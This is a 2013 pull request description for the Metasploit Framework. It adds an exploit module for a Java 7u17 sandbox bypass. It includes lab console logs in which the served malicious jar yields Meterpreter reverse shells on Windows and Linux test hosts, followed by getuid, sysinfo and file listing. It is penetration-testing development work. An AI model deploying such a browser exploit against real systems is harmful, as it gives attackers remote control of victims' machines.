rapid7/metasploit-framework — pull request #1742 by jvazquez-r7 (2013-04-18 21:13:36+00:00)
Title: Added module for Java 7u17 sandboxy bypass

First port, tested on linux and windows platforms with j7u17:

Still not ready to merge! needs more testing and review.

* windows

```
msf exploit(java_jre17_reflection_types) > [*] 192.168.172.175 java_jre17_reflection_types - handling request for /3yPzCG282Jy
[*] 192.168.172.175 java_jre17_reflection_types - handling request for /3yPzCG282Jy/
[*] 192.168.172.175 java_jre17_reflection_types - handling request for /3yPzCG282Jy/NrlcesLw.jar
[*] 192.168.172.175 java_jre17_reflection_types - handling request for /3yPzCG282Jy/NrlcesLw.jar
[*] Sending stage (30246 bytes) to 192.168.172.175
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.175:1470) at 2013-04-18 15:31:27 -0500

msf exploit(java_jre17_reflection_types) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > exit
[*] Shutting down Meterpreter...

```

* linux

```
msf exploit(java_jre17_reflection_types) >
[*] 192.168.172.176 java_jre17_reflection_types - handling request for /3yPzCG282Jy
[*] 192.168.172.176 java_jre17_reflection_types - handling request for /3yPzCG282Jy/
[*] 192.168.172.176 java_jre17_reflection_types - handling request for /3yPzCG282Jy/DvUjYLFq.jar
[*] 192.168.172.176 java_jre17_reflection_types - handling request for /3yPzCG282Jy/DvUjYLFq.jar
[*] Sending stage (30246 bytes) to 192.168.172.176
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.176:44865) at 2013-04-18 15:58:52 -0500

msf exploit(java_jre17_reflection_types) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: juan
meterpreter > sysinfo
Computer : ubuntu
OS : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > cd /
meterpreter > ls

```

Kudos to Jeroen Frijters, awesome finding :)